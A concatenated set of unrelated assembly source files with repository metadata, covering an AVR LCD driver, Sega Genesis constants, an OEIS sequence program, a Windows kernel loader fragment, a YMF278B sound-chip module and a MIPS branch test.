the display. .equ ENTRYMODE_SET = 0x06 ;------------------------------------------------------------ ; LCD ON / CURSOR ON: ;------------------------------------------------------------ ; RS | R/W | DB7 | DB6 | DB5 | DB4 | DB3 | DB2 | DB1 | DB0 | ;------------------------------------------------------------ ; 0 | 0 | 0 | 0 | 0 | 0 | 1 | D | C | B | ;------------------------------------------------------------ ; turn LCD/Cursor/blink On or Off (raw command) ; D: display on/off ; C: cursor on/off ; B: cursor blink on/off (off) .equ LCD_CTRL_RAW = 0x08 // raw command (all off) .equ LCD_CTRL_CUR = 0x0A // raw command (cursor on) .equ LCD_CTRL_LCD = 0x0C // raw command (lcd on) ;------------------------------------------------------------ ; CLEAR THE LCD: ;------------------------------------------------------------ ; RS | R/W | DB7 | DB6 | DB5 | DB4 | DB3 | DB2 | DB1 | DB0 | ;------------------------------------------------------------ ; 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | ;------------------------------------------------------------ ; writes 0x20 ' ' (space) to all DDRAM addresses and return ; cursor home (address: 0x00) .equ CLEAR_LCD = 0x01 ;------------------------------------------------------------ ; SET DDRAM ADDRESS: ;------------------------------------------------------------ ; RS | R/W | DB7 | DB6 | DB5 | DB4 | DB3 | DB2 | DB1 | DB0 | ;------------------------------------------------------------ ; 0 | 0 | 1 | AC6 | AC5 | AC4 | AC3 | AC2 | AC1 | AC0 | ;------------------------------------------------------------ ; set display data ram address (raw command) .equ SET_DDRAM = 0x80 ;--- variables --- .def mpr = R16 ; multipurpose register .def inst = R20 ; instruction register .def hex = R21 ; register for hex number ;--- delay variables --- .def ms = R17 ; milli seconds register ;--- lcd variables --- .def RAM_ADDR = R18 ; ram (cursor) pointer on lcd /* CONTROL_MEM: --- The control memory is used for the Display ON/OFF Control, because this command has to set both the LCD and the cursor on or off. But for this driver we want seperate functions for each LCD and cursor on/off. 'bit-0' is used to store the LCD status (1 = on; 0 = off) 'bit-1' is used to store the cursor status (1 = on; 0 = off) Everything else will be ignored. Clear this register on reset. */ .def CONTROL_MEM = R19 ; control memory (lcd and cursor are on/off) ;------------------------------------------------------------------------------ ; Main program ;------------------------------------------------------------------------------ ;--- Initialisation --- reset: SER mpr ; Output = LED OUT LED_D, mpr OUT LCD_D, mpr ; Output = LCD CLR mpr ; Input = Switch-values OUT SWITCH_D, mpr LDI mpr, LOW(RAMEND) ; Initialise stack OUT SPL,mpr LDI mpr, HIGH(RAMEND) OUT SPH,mpr CLR CONTROL_MEM ; clear the control memory CLR inst ; clear the next instruction RCALL LCD_INI ; initialise the lcd RCALL CUR_ON ; turn cursor on ;--- Main program: --- main: ; main function // string output (Z register = str address) LDI ZH, HIGH(string << 1) ; load string refference (high byte) LDI ZL, LOW(string << 1) ; load string refference (low byte) RCALL LCD_STR ; write string to lcd LDI XL, low(0x16) RCALL LCD_INT16 endl: RJMP endl ; endless loop ;------------------------------------------------------------------------------ ; Subroutines ;------------------------------------------------------------------------------ ;============================================================================== ; @name: LCD_WRITE ; @description: ; Sends a instruction or data to the LCD ; @param {uint_8} inst ; The instruction/data to sent to the LCD ; ;------------------------------------------------------------------------------ LCD_WRITE: ; writes to the LCD (4 bit mode) PUSH inst ; save instruction to stack PUSH mpr ; save mpr to stack MOV mpr, inst ; save instruction value // HIGH NIBBLE SWAP inst ; first send the high nibble ANDI inst, 0x0F ; send only high nibble RCALL LCD_WRITE4BIT ; write to the lcd // LOW NIBBLE MOV inst, mpr ; load instruction value ANDI inst, 0x0F ; send only low nibble RCALL LCD_WRITE4BIT ; write to the lcd POP mpr ; load mpr from stack POP inst ; load instruction from stack RET ; return from function ;============================================================================== ; @name: LCD_WRITE_DATA ; @description: ; Sends data to the LCD ; @param {uint_8} inst ; The data to sent to the LCD ; ;------------------------------------------------------------------------------ LCD_WRITE_DATA: ; writes data to the LCD PUSH inst ; save instruction to stack PUSH mpr ; save mpr to stack /* When putting data to the LCD in 4 bit mode first send the high followed by the low nibble */ MOV mpr, inst ; save data // HIGH NIBBLE SWAP inst ; first send the high nibble ANDI inst, 0x0F ; send only high nibble RCALL LCD_WRITE4BIT_DATA ; write to the lcd // LOW NIBBLE MOV inst, mpr ; load data ANDI inst, 0x0F ; send only low nibble RCALL LCD_WRITE4BIT_DATA ; write to the lcd RCALL W100US ; wait for the LCD to process the data POP mpr ; load mpr from stack POP inst ; load instruction from stack RET ; return from function ;============================================================================== ; @name: LCD_WRITE4BIT ; @description: ; Direct instruction/data LCD 4Bit Interface ; @param {uint_8} inst ; The 4bit instruction/data to sent to the LCD ; ;------------------------------------------------------------------------------ LCD_WRITE4BIT: ; writes to the LCD (4 bit mode) PUSH inst ; save instruction to stack SBI LCD, 5 ; set 'ennable command' /* ENABLE Rise/Fall Time 20ns + ENABLE hold time (min. 230ns) */ NOP ; delays @8mhz for 125ns NOP ; delays @8mhz for 125ns /* While data is sent to the LCD the Enable sould be set */ SBR inst, ENABLE ; set enable for next instruction /* If Register select is set set it while data is sent to the LCD */ SBIC LCD, 4 ; if data is sent to LCD SBR inst, REG_SELECT ; set register select for next instruction /* Send data to the LCD and wait at least 80ns for the LCD to read */ OUT LCD, inst ; send instruction to LCD NOP ; delays @8mhz for 125ns NOP ; delays @8mhz for 125ns CBI LCD, 5 ; clear 'ennable command' /* Hold data for at least 10ns after enable falls to 0 */ NOP ; delays @8mhz for 125ns NOP ; delays @8mhz for 125ns /* clear the data sent to the LCD */ LDI inst, 0x00 ; prepare 'clear' OUT LCD, inst ; clear content POP inst ; load instruction from stack RET ; return from function ;============================================================================== ; @name: LCD_WRITE4BIT_DATA ; @description: ; Direct 4bit data interface with the LCD ; @param {uint_8} inst ; The 4bit data to sent to the LCD ; ;------------------------------------------------------------------------------ LCD_WRITE4BIT_DATA: ; writes data to the LCD (4 bit interface) PUSH inst ; save instruction to stack SBI LCD, 4 ; send 'register select /* Registerselect setup time 40ns */ NOP ; delays @8mhz for 125ns NOP ; delays @8mhz for 125ns RCALL LCD_WRITE4BIT ; write data to lcd RCALL W100US ; wait for the LCD to process the data POP inst ; load instruction from stack RET ; return from function ;============================================================================== ; @name: LCD_INI ; @description: ; Initialises the Display. Sets up the communication from the Display to the ; microcontroller. (Only for 4 bit mode) ; ; INITIALISATION FLOWCHART: ; ; -> delay 100ms (Vdd rises to 4.5V) ; ; 'reset' the lcd ; ; 'function set' ; -> delay 100us ; ; 'display on/off control' ; -> delay 100us ; ; CALL: LCD_ON ; ; 'entry mode set' ; -> delay 100us ; ;------------------------------------------------------------------------------ LCD_INI: ; display initialisation PUSH inst ; save instruction to stack /* Wait more than 30ms after Vdd rises to 4.5V. FUNCTION SET: --- Ennable 4-bit mode with MPU. The LCD is set to 2-line mode with 5x8 dots characters. The three 0x03 is required because we don't know in which state the controll is when the lcd is in 8-bit mode it stays there until you switch to 4-bit mode: state: ------- 8-bit 4-bit HB 4-bit LB 4-bit LO8 */ // Be shure to turn on 8-bit mode. (resets the LCD) LDI inst, 0x03 ; 'function set' 8-bit mode RCALL W100MS ; wait for more than 30ms RCALL LCD_WRITE4BIT ; send 'function set' 8-bit mode RCALL W10MS ; wait at least 4.1ms RCALL LCD_WRITE4BIT ; send 'function set' 8-bit mode RCALL W1MS ; wait at least 100us RCALL LCD_WRITE4BIT ; send 'function set' 8-bit mode RCALL W10MS ; wait at least 4.1ms LDI inst, 0x02 ; 'function set' instruction RCALL LCD_WRITE4BIT ; send 'function set' HN RCALL W100US ; wait for more than 40us /* 4-bit interface with MPU 2-line mode and 5x8 dots char */ LDI inst, FUNCTION_SET ; write 'function set' command RCALL LCD_WRITE ; send 'function set' command RCALL W100US ; wait for more than 39ms RCALL LCD_ON ; turn the LCD on RCALL LCD_CLR ; clear the display // increment cursor, don't shift LDI inst, ENTRYMODE_SET ; 'entry mode set' RCALL LCD_WRITE ; send 'entry mode set' RCALL W1MS ; wait for the command to finish POP inst ; load instrution from stack RET ; return from function ;============================================================================== ; @name: LCD_ON ; @description: ; Turns the LCD-Display on. ; ;------------------------------------------------------------------------------ LCD_ON: ; turn display on PUSH inst ; save instruction to stack LDI inst, LCD_CTRL_LCD ; display on // handle cursor SBRC CONTROL_MEM, 1 ; if curser has to be turned on: SBR inst, 2 ; turn curser on // save lcd state to control memory SBR CONTROL_MEM, 1 ; display state: on RCALL LCD_WRITE ; write instruction RCALL W100US ; wait for more than 39ns POP inst ; load mpr from stack RET ; return from function ;============================================================================== ; @name: CUR_ON ; @description: ; Turns the Cursor on. ; ;------------------------------------------------------------------------------ CUR_ON: ; turn cursor on PUSH inst ; save instruction to stack LDI inst, LCD_CTRL_CUR ; cursor on // handle display SBRC CONTROL_MEM, 0 ; if display has to be turned on: SBR inst, 4 ; turn display on // save cursor state to control memory SBR CONTROL_MEM, 2 ; cursor state: on RCALL LCD_WRITE ; write instruction RCALL W100US ; wait for more than 39ns POP inst ; load instruction from stack RET ; return from function ;============================================================================== ; @name: LCD_OFF ; @description: ; Turns the LCD-Display off. ; ;------------------------------------------------------------------------------ LCD_OFF: ; turn display off PUSH inst ; save instruction to stack LDI inst, LCD_CTRL_RAW ; display off // handle cursor SBRC CONTROL_MEM, 1 ; if curser has to be turned on: SBR inst, 2 ; turn curser on // save lcd state to control memory CBR CONTROL_MEM, 1 ; display state: off RCALL LCD_WRITE ; send 'display on/off control' RCALL W100US ; wait for more than 39ns POP inst ; load instruction from stack RET ; return from function ;============================================================================== ; @name: CUR_OFF ; @description: ; Turns the cursor off. ; ;------------------------------------------------------------------------------ CUR_OFF: ; turn cursor off PUSH inst ; save inst to stack LDI inst, LCD_CTRL_RAW ; display off // handle display SBRC CONTROL_MEM, 0 ; if display has to be turned on: SBR inst, 4 ; turn display on // save cursor state to control memory CBR CONTROL_MEM, 2 ; cursor state: off RCALL LCD_WRITE ; send 'display on/off control' RCALL W100US ; wait for more than 39ns POP inst ; load inst from stack RET ; return from function ;============================================================================== ; @name: LCD_CLR ; @description: ; Clears the LCD-Display content. DDRAM address will be set to 0x00 on ; the display. ; Brings the cursor to the left edge on the first line of the display. ; ;------------------------------------------------------------------------------ LCD_CLR: ; clears the display PUSH inst ; save instruction to stack LDI inst, CLEAR_LCD ; 'clear display' command RCALL LCD_WRITE ; write instruction RCALL W10MS ; wait for more than 1.53ms POP inst ; load instruction from stack RET ; return from function ;============================================================================== ; @name: LCD_RAM ; @description: ; Sets the curser to the given RAM address. The RAM address defines where ; on the display the content is put. ; ; -> first line: 0x00 - 0x27 ; -> second line: 0x40 - 0x67 ; ; @param {uint_8) RAM_ADDR ; The address to set the curser to. ; ;------------------------------------------------------------------------------ LCD_RAM: ; sets the ram address PUSH RAM_ADDR ; save ram address to stack PUSH inst ; save instruction to stack SBR RAM_ADDR, SET_DDRAM ; set ddram command MOV inst, RAM_ADDR ; set instruction RCALL LCD_WRITE ; write to the lcd RCALL W1MS ; wait for the lcd to process POP inst ; load instruction from stack POP RAM_ADDR ; load ram address from stack RET ; return from function ;============================================================================== ; @name: LCD_CHR ; @description: ; Writes a ascii character to the display. ; ; @param {char} mpr ; The output char ; ;------------------------------------------------------------------------------ LCD_CHR: ; puts a char to the display PUSH inst ; save instruction to stack PUSH mpr ; save mpr to stack MOV inst, mpr ; move the character to the instruction register RCALL LCD_WRITE_DATA ; send data to the lcd POP mpr ; load mpr from stack POP inst ; load instruction from stack RET ; return from function ;============================================================================== ; @name: LCD_STR ; @description: ; Writes a string to the display from the beginn address to the $00 char. ; ; @param {char[]} X ; The output string address (X register) ; ;------------------------------------------------------------------------------ LCD_STR: ; puts a string to the display PUSH mpr ; save mpr to stack /* load the string refference and put the character to the screen */ LPM mpr, Z+ ; load first character to mpr NEXT_CHAR: RCALL LCD_CHR ; write character to lcd LPM mpr, Z+ ; load next character to mpr TST mpr ; when string is not finished: $00 ('\0') BRNE NEXT_CHAR ; process next character POP mpr ; load mpr from stack RET ; return from function ;============================================================================== ; @name: LCD_HEX ; @description: ; Writes a hex number to the display. ; ; @param {uint_8} hex ; The output hex value ; ;------------------------------------------------------------------------------ LCD_HEX: ; outputs a hex value PUSH hex ; save hex to stack PUSH mpr ; save number to stack // TODO: wenn hex + x dann ascii // Put hex prefix '0x' on screen LDI mpr, '0' RCALL LCD_CHR LDI mpr, 'x' RCALL LCD_CHR // HIGH NIBBLE (of hex number) SWAP hex ; first convert the high nibble MOV mpr, hex ; move the character to the mpr ANDI mpr, 0x0F ; send only high nibble RCALL TO_CHAR ; convert to hex character RCALL LCD_CHR ; write character to lcd // LOW NIBBLE (of hex number) SWAP hex ; second convert the low nibble MOV mpr, hex ; move the character to the mpr ANDI mpr, 0x0F ; send only low nibble RCALL TO_CHAR ; convert to hex character RCALL LCD_CHR ; write character to lcd POP mpr ; load number from stack POP hex ; load hex from stack RET ; return from function ;============================================================================== ; @name: LCD_INT16 ; @description: ; Writes a int16 number to the display. ; ; @param {int_16} X ; The output int16 value (X register) ; ;------------------------------------------------------------------------------ LCD_INT16: ; outputs a int16 value PUSH mpr ; save mpr to stack // save 16 bit nuber to stack PUSH XL PUSH XH /* when the number is negative print a minus ('-') and print the positive number (twos complement) */ SBRS XH, 7 ; if nuber is positive RJMP LCD_INT16_ENDIF01 ; skip signed // number is signed COM XL ; invert low byte (1's complement) COM XH ; invert high byte (1's complement) // add 0x0001 to X register SUBI XL, 0xFF SBCI XH, 0xFF // print '-' to lcd LDI mpr, '-' RCALL LCD_CHR ; print '-' LCD_INT16_ENDIF01: // ten thousend LDI mpr, '0'-1 LCD_NUMBER1: INC mpr SUBI XL, low(10000) SBCI XH, high(10000) BRCC LCD_NUMBER1 SUBI XL, low(-10000) SBCI XH, high(-10000) // don't print leading zeros CPI mpr, '0' BREQ LCD_NUMBER1_END RCALL LCD_CHR SET LCD_NUMBER1_END: // thousend LDI mpr, '0'-1 LCD_NUMBER2: INC mpr SUBI XL, low(1000) SBCI XH, high(1000) BRCC LCD_NUMBER2 SUBI XL, low(-1000) SBCI XH, high(-1000) // don't print leading zeros BRTS LCD_NUMBER2_PRINT ; any number (including zero) can be printed if t-flag set CPI mpr, '0' ; else if the number to print is a zero BREQ LCD_NUMBER2_END ; it's a leading zero (don't print it) LCD_NUMBER2_PRINT: RCALL LCD_CHR SET ; set t-flag to know there are no more leading zeros LCD_NUMBER2_END: // hundred LDI mpr, '0'-1 LCD_NUMBER3: INC mpr SUBI XL, low(100) SBCI XH, high(100) BRCC LCD_NUMBER3 SUBI XL, -100 ; high byte can be ignored // don't print leading zeros BRTS LCD_NUMBER3_PRINT ; any number (including zero) can be printed if t-flag set CPI mpr, '0' ; else if the number to print is a zero BREQ LCD_NUMBER3_END ; it's a leading zero (don't print it) LCD_NUMBER3_PRINT: RCALL LCD_CHR SET ; set t-flag to know there are no more leading zeros LCD_NUMBER3_END: // ten LDI mpr, '0'-1 LCD_NUMBER4: INC mpr SUBI XL, 10 BRCC LCD_NUMBER4 SUBI XL, -10 // don't print leading zeros BRTS LCD_NUMBER4_PRINT ; any number (including zero) can be printed if t-flag set CPI mpr, '0' ; else if the number to print is a zero BREQ LCD_NUMBER4_END ; it's a leading zero (don't print it) LCD_NUMBER4_PRINT: RCALL LCD_CHR LCD_NUMBER4_END: // one LDI mpr, '0' ADD mpr, XL RCALL LCD_CHR // load 16 bit number from stack POP XH POP XL POP mpr ; load mpr from stack RET ; return from function ;============================================================================== ; @name: TO_CHAR ; @description: ; Converts a 4bit number to a hex ascii character ; ; @param {uint_4} mpr ; The 4 bit number to convert into a ascii character ; (low nibble contains number) ; ; @return {char} mpr ; The converted ascii character ;------------------------------------------------------------------------------ TO_CHAR: ; converts number to hex ascii CPI mpr, 0x09 ; when the number is BRLO TO_CHAR_ELSEIF01 ; lower then // convert character (A...F) to ascii SUBI mpr, -0x37 ; convert to character (A...F) RJMP TO_CHAR_ENDIF01 ; don't execute else statement TO_CHAR_ELSEIF01: // convert number (1...9) to ascii SUBI mpr, -0x30 ; convert to character (1...9) TO_CHAR_ENDIF01: RET ; return form function ;============================================================================== ; DATA DEFFINITION ;------------------------------------------------------------------------------ string: .db "Hello World", 0
41.425223
103
0.385457
0458101a84d6f21ba2aa311886a07d8172c45d85
693
asm
Assembly
src/globals.asm
Scorpion-Illuminati/ControllerTest
c2c2edef9b14a8f6bee6eacda8f2d6335a49fe80
[ "Artistic-2.0" ]
1
2018-02-16T23:24:55.000Z
2018-02-16T23:24:55.000Z
src/globals.asm
Scorpion-Illuminati/ControllerTest
c2c2edef9b14a8f6bee6eacda8f2d6335a49fe80
[ "Artistic-2.0" ]
null
null
null
src/globals.asm
Scorpion-Illuminati/ControllerTest
c2c2edef9b14a8f6bee6eacda8f2d6335a49fe80
[ "Artistic-2.0" ]
null
null
null
;============================================================== ; Scorpion Illuminati Controller Test ;============================================================== ; SEGA Genesis (c) Scorpion Illuminati 2015 ;============================================================== ; Sprite plane border sprite_plane_border equ 0x0080 ; Screen bounds screen_width equ 0x0140 ; 320 (H40) screen_height equ 0x00E0 ; 224 (V28) screen_border_x equ 0x0010 screen_border_y equ 0x0010 ; object offbounds positions offscreen_position_x: equ 0x0090 offscreen_position_y: equ 0x0090
38.5
90
0.444444
40f65577fbfcc836a2f01e284addb8bf57d995a5
560
asm
Assembly
programs/oeis/109/A109338.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/109/A109338.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/109/A109338.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A109338: Triangle read by rows: T(n,k) = number of inequivalent binary sequences of length n and weight k, where two sequences are said to be equivalent if they have the same set of phrases in their Ziv-Lempel encodings (the phrases can appear in a different order in the two sequences). ; 1,1,1,1,1,1,1,2,2,1,1,2,2,2,1,1,2,4,4,2,1 seq $0,206735 ; Triangle T(n,k), read by rows, given by (0, 2, -1/2, 1/2, 0, 0, 0, 0, 0, 0, 0, ...) DELTA (1, 0, -1/2, 1/2, 0, 0, 0, 0, 0, 0, 0, ...) where DELTA is the operator defined in A084938. div $0,3 dif $0,2 add $0,1
70
289
0.6625
4cf7caac56fd742881ea1aaf458d5d67434de68f
99
asm
Assembly
u7bg/eop-displayMemoryStats.asm
JohnGlassmyer/UltimaHacks
f9a114e00c4a1edf1ac7792b465feff2c9b88ced
[ "MIT" ]
68
2018-03-04T22:34:22.000Z
2022-03-10T15:18:32.000Z
u7bg/eop-displayMemoryStats.asm
ptrie/UltimaHacks
2c3557a86d94ad8b54b26bc395b9aed1604f8be1
[ "MIT" ]
19
2018-11-20T04:06:49.000Z
2021-11-08T16:37:10.000Z
u7bg/eop-displayMemoryStats.asm
ptrie/UltimaHacks
2c3557a86d94ad8b54b26bc395b9aed1604f8be1
[ "MIT" ]
4
2020-09-01T17:57:36.000Z
2022-01-04T20:51:11.000Z
%include "include/u7bg-all-includes.asm" %include "../u7-common/patch-eop-displayMemoryStats.asm"
24.75
56
0.767677
3c8a3ee8b9a1a87e08989621bad6b669c4e21173
73
asm
Assembly
gfx/pokemon/tyrogue/anim.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
gfx/pokemon/tyrogue/anim.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
gfx/pokemon/tyrogue/anim.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
frame 1, 08 setrepeat 4 frame 2, 05 frame 3, 06 dorepeat 2 endanim
10.428571
12
0.684932
f562af8766db34bf7745e2b7d7e7fb043a32bb24
588
asm
Assembly
oeis/087/A087504.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/087/A087504.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/087/A087504.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A087504: Composition length of the n-th symmetric power of the natural representation of a finite subgroup of SL(2,C) of type E_7 (binary octahedral group). ; Submitted by Jamie Morken(s4) ; 1,1,1,1,2,2,3,3,4,3,4,4,6,5,6,5,7,6,8,7,9,7,9,8,11,9,11,9,12,10,13,11,14,11,14,12,16,13,16,13,17,14,18,15,19,15,19,16,21,17,21,17,22,18,23,19,24,19,24,20,26,21,26,21,27,22,28,23,29,23,29,24,31,25,31,25,32,26,33,27,34,27,34,28,36,29,36,29,37,30,38,31,39,31,39,32,41,33,41,33 lpb $0 mov $2,$0 sub $0,4 seq $2,144110 ; Period 6: repeat [2, 2, 2, 1, 1, 1]. add $1,$2 lpe add $1,1 mov $0,$1
45.230769
275
0.653061
7890d74a7f0fdf41657fead90b884e2b1581c6b4
543
asm
Assembly
mgblib/src/print/PrintString.asm
jbshelton/CGB_APU_Tester
c544685903a6eb163906667b4ae8d0157670c918
[ "MIT" ]
2
2020-09-12T14:22:37.000Z
2022-02-11T08:55:17.000Z
src/print/PrintString.asm
mattcurrie/mgblib
1d9045a4b4cbd1ec5223e672a1cef965e9fcd194
[ "MIT" ]
null
null
null
src/print/PrintString.asm
mattcurrie/mgblib
1d9045a4b4cbd1ec5223e672a1cef965e9fcd194
[ "MIT" ]
null
null
null
IF !DEF(INC_PrintString) INC_PrintString = 1 INCLUDE "src/print/PrintCharacter.asm" ; Print a NUL terminated string ; ; @param de address of string to print ; @destroys all PrintString:: .loop: ld a, [de] or a ret z call PrintCharacter inc de jr .loop ; Macro to print a string literal. ; NUL terminator is appended automatically. ; ; @param \1 the string to print ; @destroys all print_string_literal: MACRO ld de, .string\@ call PrintString jr .end\@ .string\@: DB \1, $00 .end\@: ENDM ENDC
15.970588
43
0.664825
ebbe275bccf9b6c13c3183a93595a9aba54a5e4e
1,921
asm
Assembly
src/chips/YMF278B.asm
sharksym/vgmplay-sharksym
d7763b87a379da4e6dadcc55026969d310957952
[ "BSD-2-Clause" ]
6
2020-04-21T17:26:27.000Z
2021-09-25T18:41:01.000Z
src/chips/YMF278B.asm
sharksym/vgmplay-sharksym
d7763b87a379da4e6dadcc55026969d310957952
[ "BSD-2-Clause" ]
null
null
null
src/chips/YMF278B.asm
sharksym/vgmplay-sharksym
d7763b87a379da4e6dadcc55026969d310957952
[ "BSD-2-Clause" ]
null
null
null
; ; VGM YMF278B chip ; YMF278B: MACRO this: super: Chip YMF278B_name, Header.ymf278bClock, YMF278B_Connect ; hl' = time remaining ; ix = player ; iy = reader ProcessCommand: PROC call Reader_Read_IY dec a jr z,FM2 jp p,Wave FM1: PROC call Reader_ReadWord_IY jp System_Return writeRegister: equ $ - 2 ENDP FM2: PROC call Reader_ReadWord_IY jp System_Return writeRegister: equ $ - 2 ENDP Wave: PROC call Reader_ReadWord_IY jp System_Return writeRegister: equ $ - 2 ENDP ENDP ; b = bit 7: dual chip number ; dehl = size ; ix = player ; iy = reader ProcessROMDataBlock: PROC bit 7,b jp z,Player_SkipDataBlock process: equ $ - 2 jp Player_SkipDataBlock processDual: equ $ - 2 ENDP ; b = bit 7: dual chip number ; dehl = size ; ix = player ; iy = reader ProcessRAMDataBlock: PROC bit 7,b jp z,Player_SkipDataBlock process: equ $ - 2 jp Player_SkipDataBlock processDual: equ $ - 2 ENDP ENDM ; ix = this ; iy = header YMF278B_Construct: equ Chip_Construct ; jp Chip_Construct ; ix = this YMF278B_Destruct: equ Chip_Destruct ; jp Chip_Destruct ; iy = drivers ; ix = this YMF278B_Connect: call YMF278B_TryCreate ret nc call Chip_SetDriver ld bc,YMF278B.ProcessCommand.FM1.writeRegister call Device_ConnectInterface ld bc,YMF278B.ProcessCommand.FM2.writeRegister call Device_ConnectInterface ld bc,YMF278B.ProcessCommand.Wave.writeRegister call Device_ConnectInterface ld bc,YMF278B.ProcessROMDataBlock.process call Device_ConnectInterface ld bc,YMF278B.ProcessRAMDataBlock.process jp Device_ConnectInterface ; iy = drivers ; ix = this ; de <- driver ; hl <- device interface ; f <- c: succeeded YMF278B_TryCreate: call Drivers_TryCreateDalSoRiR2_IY ld hl,DalSoRiR2_interface ret c call Drivers_TryCreateMoonSound_IY ld hl,MoonSound_interface ret ; SECTION RAM YMF278B_instance: YMF278B ENDS YMF278B_name: db "YMF278B (OPL4)",0
18.122642
63
0.747527
be65917760802c7f0c4e65b66d687694a081e5fa
645
asm
Assembly
architecture/design/logisim/test/branches_test.asm
sabertazimi/hust-lab
dc3425b6afe75ac3c1b48bb62fdd27c425284a0f
[ "MIT" ]
29
2017-07-30T07:46:11.000Z
2021-11-21T15:51:04.000Z
architecture/design/logisim/test/branches_test.asm
sabertazimi/hust-lab
dc3425b6afe75ac3c1b48bb62fdd27c425284a0f
[ "MIT" ]
2
2018-03-22T10:09:35.000Z
2021-09-12T16:08:35.000Z
architecture/lab3/test/asm/branches_test.asm
sabertazimi/hust-lab
dc3425b6afe75ac3c1b48bb62fdd27c425284a0f
[ "MIT" ]
9
2018-09-03T13:14:08.000Z
2021-06-25T17:00:46.000Z
bne $s0 $s0 badness #0 beq $s0 $s0 start #1 badness: addi $s0, $zero, 0xFF #2 beq $s0 $s0 badness #3 label1: addiu $s0 $0 2 #4 s0 = 2 bne $s0 $s1 label2 #5 2 != 1 start: addiu $s0 $0 1 #6 s0 = 1 beq $s0 $s1 label1 #7 1 != 0, s1 = 1; 1 = 1 beq $s0 $s1 start #8 1 = 1 label2: addiu $s0 $0 4 #9 s0 = 4 end: bne $s2 $s0 end #10 ori $s2 $s0 0xFFFF #11 #lines in parentheses don't get executed. #0, 1, (2), 6, 7, 8, (9), 6, 7, (8), 4, 5, (6), 9, 10, (11), 10, (11), ...
33.947368
74
0.4
81f5afb344fb82305a1bf600c25c9f3fc5e5afff
34,964
asm
Assembly
base/mvdm/wow16/kernel31/ldint.asm
npocmaka/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
17
2020-11-13T13:42:52.000Z
2021-09-16T09:13:13.000Z
base/mvdm/wow16/kernel31/ldint.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
2
2020-10-19T08:02:06.000Z
2020-10-19T08:23:18.000Z
base/mvdm/wow16/kernel31/ldint.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
14
2020-11-14T09:43:20.000Z
2021-08-28T08:59:57.000Z
TITLE LDINT - Loader interrupt procedure .xlist include kernel.inc include newexe.inc include tdb.inc include protect.inc include dbgsvc.inc include bop.inc include kdos.inc include gpcont.inc ; SHERLOCK ifdef WOW include vint.inc include softpc.inc endif NOTEXT = 1 NOGDICAPMASKS = 1 NOMB = 1 NOVK = 1 NOWH = 1 NOMST = 1 NORASTOPS = 1 NOMETAFILE = 1 NOMDI = 1 NOWINMESSAGES = 1 NOSYSMETRICS = 1 NOCOLOR = 1 NOCOMM = 1 NOKERNEL = 1 include windows.inc ; YIKES!!! .list FAULTSTACKFRAME struc fsf_BP dw ? ; Saved BP fsf_msg dw ? ; Near pointer to message describing fault fsf_prev_IP dw ? ; IP of previous fault handler fsf_prev_CS dw ? ; CS of previous fault handler fsf_ret_IP dw ? ; DPMI fault handler frame follows fsf_ret_CS dw ? fsf_err_code dw ? fsf_faulting_IP dw ? fsf_faulting_CS dw ? fsf_flags dw ? fsf_SP dw ? fsf_SS dw ? FAULTSTACKFRAME ends fsf_OFFSET = fsf_ret_IP - fsf_msg UAE_STRING_LEN equ 192d MIN_SP equ 256d externFP ExitKernel externFP WowDivideOverflowEx DataBegin ;externB syserr externB szAbort externB szAbortCaption externB szNukeApp externB szWillClose externB szBlame externB szSnoozer externB szInModule externB szAt externB szII externB szGP externB szSF externB szNP externB szLoad ;externB szDiscard externB szPF externB Kernel_Flags externB fBooting externW curTDB ;externW pGlobalHeap externW DemandLoadSel externD pSErrProc externD pUserGetFocus externD pUserGetWinTask externD pUserIsWindow externD lpGPChain if kdebug globalw wFaultSegNo,0 endif if KDEBUG staticW INT3Fcs,0 endif globalW FaultHandler,<codeOffset HandleFault> externD pPostMessage ifdef WOW externD FastBop externD prevInt01proc externD prevInt03proc externD oldInt00proc externW DebugWOW externW gdtdsc endif DataEnd sBegin DATA externW gmove_stack externW TraceOff sEnd DATA sBegin CODE assumes CS,CODE if SHERLOCK externNP GPContinue endif externD prevIntx6proc externD prevInt0Cproc externD prevInt0Dproc externD prevInt0Eproc externD prevInt3Fproc externNP LoadSegment ;externNP MyLock ifndef WOW externNP htoa endif externNP GetOwner externNP GetPureName externNP TextMode externNP Int21Handler ;externNP DebugPostLoadMessage externFP GlobalLRUNewest externFP GlobalHandleNorip externFP HasGPHandler externFP AllocSelector externFP IFreeSelector assumes ds, nothing assumes es, nothing ifdef WOW Entry macro name public name align 2 name&: endm endif ;-----------------------------------------------------------------------; ; Display_Box_of_Doom -- Display the Unrecoverable Application Error ; box that everyone seems to dislike so much. ; ; Entry: ; Action Reserved, must be zero ; lpText String to display, NULL for default 